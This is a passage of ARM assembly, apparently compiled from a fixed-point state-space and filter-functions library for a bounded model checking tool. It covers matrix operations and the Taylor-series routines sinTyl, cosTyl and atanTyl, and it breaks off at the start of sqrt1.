mov r3, #0
str r3, [fp, #-588]
b .L941
.L942:
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-580]
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-516]
ldr r3, [fp, #-588]
add r3, r3, #1
str r3, [fp, #-588]
.L941:
ldr r3, [fp, #-588]
cmp r3, #3
ble .L942
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L940:
ldr r3, [fp, #-592]
cmp r3, #3
ble .L943
mov r3, #0
str r3, [fp, #-592]
b .L944
.L947:
mov r3, #0
str r3, [fp, #-588]
b .L945
.L946:
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-452]
ldr r3, [fp, #-588]
add r3, r3, #1
str r3, [fp, #-588]
.L945:
ldr r3, [fp, #-588]
cmp r3, #3
ble .L946
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L944:
ldr r3, [fp, #-592]
cmp r3, #3
ble .L947
mov r3, #0
str r3, [fp, #-592]
b .L948
.L951:
mov r3, #0
str r3, [fp, #-588]
b .L949
.L950:
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-388]
ldr r3, [fp, #-588]
add r3, r3, #1
str r3, [fp, #-588]
.L949:
ldr r3, [fp, #-588]
cmp r3, #3
ble .L950
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L948:
ldr r3, [fp, #-592]
cmp r3, #3
ble .L951
mov r3, #0
str r3, [fp, #-592]
b .L952
.L955:
mov r3, #0
str r3, [fp, #-588]
b .L953
.L954:
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-324]
ldr r3, [fp, #-588]
add r3, r3, #1
str r3, [fp, #-588]
.L953:
ldr r3, [fp, #-588]
cmp r3, #3
ble .L954
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L952:
ldr r3, [fp, #-592]
cmp r3, #3
ble .L955
mov r3, #0
str r3, [fp, #-592]
b .L956
.L959:
mov r3, #0
str r3, [fp, #-588]
b .L957
.L958:
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-260]
ldr r3, [fp, #-588]
add r3, r3, #1
str r3, [fp, #-588]
.L957:
ldr r3, [fp, #-588]
cmp r3, #3
ble .L958
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L956:
ldr r3, [fp, #-592]
cmp r3, #3
ble .L959
mov r3, #0
str r3, [fp, #-592]
b .L960
.L963:
mov r3, #0
str r3, [fp, #-588]
b .L961
.L962:
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-196]
ldr r3, [fp, #-588]
add r3, r3, #1
str r3, [fp, #-588]
.L961:
ldr r3, [fp, #-588]
cmp r3, #3
ble .L962
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L960:
ldr r3, [fp, #-592]
cmp r3, #3
ble .L963
mov r3, #0
str r3, [fp, #-592]
b .L964
.L967:
mov r3, #0
str r3, [fp, #-588]
b .L965
.L966:
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-132]
ldr r3, [fp, #-588]
add r3, r3, #1
str r3, [fp, #-588]
.L965:
ldr r3, [fp, #-588]
cmp r3, #3
ble .L966
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L964:
ldr r3, [fp, #-592]
cmp r3, #3
ble .L967
mov r3, #0
str r3, [fp, #-592]
b .L968
.L971:
mov r3, #0
str r3, [fp, #-588]
b .L969
.L970:
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-68]
ldr r3, [fp, #-588]
add r3, r3, #1
str r3, [fp, #-588]
.L969:
ldr r3, [fp, #-588]
cmp r3, #3
ble .L970
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L968:
ldr r3, [fp, #-592]
cmp r3, #3
ble .L971
mov r3, #0
str r3, [fp, #-592]
b .L972
.L975:
mov r3, #0
str r3, [fp, #-588]
b .L973
.L974:
ldr r1, .L1010+4
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
mov r1, r0
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
str r1, [r3, #-452]
ldr r3, [fp, #-588]
add r3, r3, #1
str r3, [fp, #-588]
.L973:
ldr r3, .L1010+8
ldr r3, [r3]
ldr r2, [fp, #-588]
cmp r2, r3
blt .L974
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L972:
ldr r3, .L1010+8
ldr r3, [r3]
ldr r2, [fp, #-592]
cmp r2, r3
blt .L975
mov r3, #0
str r3, [fp, #-592]
b .L976
.L979:
mov r3, #0
str r3, [fp, #-588]
b .L977
.L978:
ldr r1, .L1010+4
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
add r3, r3, #16
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
mov r1, r0
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
str r1, [r3, #-388]
ldr r3, [fp, #-588]
add r3, r3, #1
str r3, [fp, #-588]
.L977:
ldr r3, .L1010+12
ldr r3, [r3]
ldr r2, [fp, #-588]
cmp r2, r3
blt .L978
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L976:
ldr r3, .L1010+8
ldr r3, [r3]
ldr r2, [fp, #-592]
cmp r2, r3
blt .L979
mov r3, #0
str r3, [fp, #-592]
b .L980
.L983:
mov r3, #0
str r3, [fp, #-588]
b .L981
.L982:
ldr r1, .L1010+4
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
add r3, r3, #32
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
mov r1, r0
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
str r1, [r3, #-324]
ldr r3, [fp, #-588]
add r3, r3, #1
str r3, [fp, #-588]
.L981:
ldr r3, .L1010+8
ldr r3, [r3]
ldr r2, [fp, #-588]
cmp r2, r3
blt .L982
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L980:
ldr r3, .L1010+16
ldr r3, [r3]
ldr r2, [fp, #-592]
cmp r2, r3
blt .L983
mov r3, #0
str r3, [fp, #-592]
b .L984
.L987:
mov r3, #0
str r3, [fp, #-588]
b .L985
.L986:
ldr r1, .L1010+4
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
add r3, r3, #48
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
mov r1, r0
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
str r1, [r3, #-260]
ldr r3, [fp, #-588]
add r3, r3, #1
str r3, [fp, #-588]
.L985:
ldr r3, .L1010+12
ldr r3, [r3]
ldr r2, [fp, #-588]
cmp r2, r3
blt .L986
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L984:
ldr r3, .L1010+16
ldr r3, [r3]
ldr r2, [fp, #-592]
cmp r2, r3
blt .L987
mov r3, #0
str r3, [fp, #-592]
b .L988
.L991:
mov r3, #0
str r3, [fp, #-588]
b .L989
.L990:
ldr r1, .L1010+4
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
add r3, r3, #64
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
mov r1, r0
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
str r1, [r3, #-196]
ldr r3, [fp, #-588]
add r3, r3, #1
str r3, [fp, #-588]
.L989:
ldr r3, [fp, #-588]
cmp r3, #0
ble .L990
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L988:
ldr r3, .L1010+8
ldr r3, [r3]
ldr r2, [fp, #-592]
cmp r2, r3
blt .L991
mov r3, #0
str r3, [fp, #-592]
b .L992
.L995:
mov r3, #0
str r3, [fp, #-588]
b .L993
.L994:
ldr r1, .L1010+4
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
add r3, r3, #96
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
mov r1, r0
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
str r1, [r3, #-132]
ldr r3, [fp, #-588]
add r3, r3, #1
str r3, [fp, #-588]
.L993:
ldr r3, [fp, #-588]
cmp r3, #0
ble .L994
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L992:
ldr r3, .L1010+12
ldr r3, [r3]
ldr r2, [fp, #-592]
cmp r2, r3
blt .L995
mov r3, #0
str r3, [fp, #-592]
b .L996
.L999:
mov r3, #0
str r3, [fp, #-588]
b .L997
.L998:
ldr r1, .L1010+4
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
add r3, r3, #80
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
mov r1, r0
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
str r1, [r3, #-68]
ldr r3, [fp, #-588]
add r3, r3, #1
str r3, [fp, #-588]
.L997:
ldr r3, [fp, #-588]
cmp r3, #0
ble .L998
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L996:
ldr r3, .L1010+16
ldr r3, [r3]
ldr r2, [fp, #-592]
cmp r2, r3
blt .L999
ldr r3, .L1010+16
ldr r3, [r3]
mov r0, r3
ldr r3, .L1010+8
ldr r3, [r3]
mov r1, r3
ldr r3, .L1010+8
ldr r3, [r3]
mov r2, r3
sub r3, fp, #584
str r3, [sp, #8]
sub r3, fp, #200
str r3, [sp, #4]
sub r3, fp, #328
str r3, [sp]
mov r3, #1
bl fxp_matrix_multiplication
ldr r3, .L1010+16
ldr r3, [r3]
mov r0, r3
ldr r3, .L1010+12
ldr r3, [r3]
mov r1, r3
ldr r3, .L1010+12
ldr r3, [r3]
mov r2, r3
sub r3, fp, #520
str r3, [sp, #8]
sub r3, fp, #136
str r3, [sp, #4]
sub r3, fp, #264
str r3, [sp]
mov r3, #1
bl fxp_matrix_multiplication
ldr r3, .L1010+16
ldr r3, [r3]
mov r0, r3
sub r1, fp, #520
sub r2, fp, #584
sub r3, fp, #72
str r3, [sp]
mov r3, r1
mov r1, #1
bl fxp_add_matrix
ldr r3, .L1010+8
ldr r3, [r3]
mov r0, r3
ldr r3, .L1010+8
ldr r3, [r3]
mov r1, r3
ldr r3, .L1010+8
ldr r3, [r3]
mov r2, r3
sub r3, fp, #584
str r3, [sp, #8]
sub r3, fp, #200
str r3, [sp, #4]
sub r3, fp, #456
str r3, [sp]
mov r3, #1
bl fxp_matrix_multiplication
ldr r3, .L1010+8
ldr r3, [r3]
mov r0, r3
ldr r3, .L1010+12
ldr r3, [r3]
mov r1, r3
ldr r3, .L1010+12
ldr r3, [r3]
mov r2, r3
sub r3, fp, #520
str r3, [sp, #8]
sub r3, fp, #136
str r3, [sp, #4]
sub r3, fp, #392
str r3, [sp]
mov r3, #1
bl fxp_matrix_multiplication
ldr r3, .L1010+8
ldr r3, [r3]
mov r0, r3
sub r1, fp, #520
sub r2, fp, #584
sub r3, fp, #200
str r3, [sp]
mov r3, r1
mov r1, #1
bl fxp_add_matrix
mov r3, #0
str r3, [fp, #-592]
b .L1000
.L1003:
mov r3, #0
str r3, [fp, #-588]
b .L1001
.L1002:
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-196]
mov r0, r3
bl fxp_to_double
mov r2, r0
mov r3, r1
ldr ip, .L1010+4
ldr r1, [fp, #-592]
lsl r0, r1, #2
ldr r1, [fp, #-588]
add r1, r0, r1
add r1, r1, #64
lsl r1, r1, #3
add r1, ip, r1
stm r1, {r2-r3}
ldr r3, [fp, #-588]
add r3, r3, #1
str r3, [fp, #-588]
.L1001:
ldr r3, [fp, #-588]
cmp r3, #0
ble .L1002
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L1000:
ldr r3, .L1010+8
ldr r3, [r3]
ldr r2, [fp, #-592]
cmp r2, r3
blt .L1003
mov r3, #0
str r3, [fp, #-592]
b .L1004
.L1007:
mov r3, #0
str r3, [fp, #-588]
b .L1005
.L1006:
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-588]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-68]
mov r0, r3
bl fxp_to_double
mov r2, r0
mov r3, r1
ldr ip, .L1010+4
ldr r1, [fp, #-592]
lsl r0, r1, #2
ldr r1, [fp, #-588]
add r1, r0, r1
add r1, r1, #80
lsl r1, r1, #3
add r1, ip, r1
stm r1, {r2-r3}
ldr r3, [fp, #-588]
add r3, r3, #1
str r3, [fp, #-588]
.L1005:
ldr r3, [fp, #-588]
cmp r3, #0
ble .L1006
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L1004:
ldr r3, .L1010+16
ldr r3, [r3]
ldr r2, [fp, #-592]
cmp r2, r3
blt .L1007
ldr r3, .L1010+4
add r3, r3, #640
ldmia r3, {r2-r3}
ldr r1, .L1010
ldr r0, [r1]
ldr r1, [fp, #-8]
eors r0, r1, r0
mov r1, #0
beq .L1009
bl __stack_chk_fail
.L1009:
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L1011:
.align 2
.L1010:
.word .LC48
.word _controller
.word nStates
.word nInputs
.word nOutputs
.size fxp_state_space_representation, .-fxp_state_space_representation
.section .rodata
.align 2
.LC49:
.ascii "Warning: Function sinTyl from bmc/core/filter_funct"
.ascii "ions.h: Precision must be a positive integer. Assum"
.ascii "ing 0 precision\000"
.align 2
.LC50:
.ascii "Warning: Function sinTyl from bmc/core/filter_funct"
.ascii "ions.h: Precision representation exceeded. Assuming"
.ascii " maximum precision of 6\000"
.text
.align 2
.global sinTyl
.syntax unified
.arm
.fpu softvfp
.type sinTyl, %function
sinTyl:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-36]
str r1, [fp, #-32]
str r2, [fp, #-40]
sub r3, fp, #36
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #-40]
cmp r3, #0
bge .L1013
ldr r0, .L1016
bl puts
mov r3, #0
str r3, [fp, #-40]
.L1013:
ldr r3, [fp, #-40]
cmp r3, #0
blt .L1014
mov r2, #0
mov r3, #0
str r2, [fp, #-12]
str r3, [fp, #-8]
sub r3, fp, #12
ldmia r3, {r2-r3}
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #0
ble .L1014
sub r3, fp, #36
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
sub r3, fp, #12
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #1
ble .L1014
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r2, #0
ldr r3, .L1016+4
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #2
ble .L1014
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r2, #0
ldr r3, .L1016+8
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #3
ble .L1014
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r2, #0
ldr r3, .L1016+12
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #4
ble .L1014
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r2, #0
ldr r3, .L1016+16
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #5
ble .L1014
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r2, #0
ldr r3, .L1016+20
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #6
ble .L1014
ldr r0, .L1016+24
bl puts
.L1014:
sub r3, fp, #28
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L1017:
.align 2
.L1016:
.word .LC49
.word 1075314688
.word 1079902208
.word 1085517824
.word 1091970560
.word 1099106472
.word .LC50
.size sinTyl, .-sinTyl
.section .rodata
.align 2
.LC51:
.ascii "Warning: Function cosTyl from bmc/core/filter_funct"
.ascii "ions.h: Precision must be a positive integer. Assum"
.ascii "ing 0 precision\000"
.text
.align 2
.global cosTyl
.syntax unified
.arm
.fpu softvfp
.type cosTyl, %function
cosTyl:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-36]
str r1, [fp, #-32]
str r2, [fp, #-40]
sub r3, fp, #36
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #-40]
cmp r3, #0
bge .L1019
ldr r0, .L1022
bl puts
mov r3, #0
str r3, [fp, #-40]
.L1019:
ldr r3, [fp, #-40]
cmp r3, #0
blt .L1020
mov r2, #0
mov r3, #0
str r2, [fp, #-12]
str r3, [fp, #-8]
sub r3, fp, #12
ldmia r3, {r2-r3}
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #0
ble .L1020
mov r2, #0
ldr r3, .L1022+4
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r2, #0
ldr r3, .L1022+4
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #1
ble .L1020
sub r3, fp, #20
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r2, #0
mov r3, #1073741824
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #2
ble .L1020
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r2, #0
ldr r3, .L1022+8
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #3
ble .L1020
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r2, #0
ldr r3, .L1022+12
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #4
ble .L1020
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r2, #0
ldr r3, .L1022+16
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #5
ble .L1020
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r2, #0
ldr r3, .L1022+20
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #6
ble .L1020
ldr r0, .L1022+24
bl puts
.L1020:
sub r3, fp, #28
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L1023:
.align 2
.L1022:
.word .LC51
.word 1072693248
.word 1077411840
.word 1082556416
.word 1088663552
.word 1095479168
.word .LC50
.size cosTyl, .-cosTyl
.section .rodata
.align 2
.LC52:
.ascii "Warning: Function sinTyl from bmc/core/filter_funct"
.ascii "ions.h: Precision representation exceeded. Assuming"
.ascii " maximum precision of 4\000"
.text
.align 2
.global atanTyl
.syntax unified
.arm
.fpu softvfp
.type atanTyl, %function
atanTyl:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-36]
str r1, [fp, #-32]
str r2, [fp, #-40]
sub r3, fp, #36
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #-40]
cmp r3, #0
bge .L1025
ldr r0, .L1028
bl puts
mov r3, #0
str r3, [fp, #-40]
.L1025:
ldr r3, [fp, #-40]
cmp r3, #0
blt .L1026
mov r2, #0
mov r3, #0
str r2, [fp, #-12]
str r3, [fp, #-8]
sub r3, fp, #12
ldmia r3, {r2-r3}
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #0
ble .L1026
sub r3, fp, #36
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
sub r3, fp, #12
ldmia r3, {r2-r3}
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #1
ble .L1026
sub r3, fp, #20
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r2, #0
ldr r3, .L1028+4
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #2
ble .L1026
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r2, #0
ldr r3, .L1028+8
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #3
ble .L1026
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r2, #0
ldr r3, .L1028+12
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
cmp r3, #6
ble .L1026
ldr r0, .L1028+16
bl puts
.L1026:
sub r3, fp, #28
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L1029:
.align 2
.L1028:
.word .LC49
.word 1074266112
.word 1075052544
.word 1075576832
.word .LC52
.size atanTyl, .-atanTyl
.align 2
.global sqrt1
.syntax unified
.arm
.fpu softvfp
.type sqrt1, %function
sqrt1:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #20
str r0, [fp, #-24] @ float
mov r1, #1056964608
ldr r0, [fp, #-24] @ float
bl __aeabi_fmul
mov r3, r0
str r3, [fp, #-16] @ float
ldr r3, [fp, #-24] @ float
str r3, [fp, #-20] @ float
ldr r3, [fp, #-20]
asr r2, r3, #1
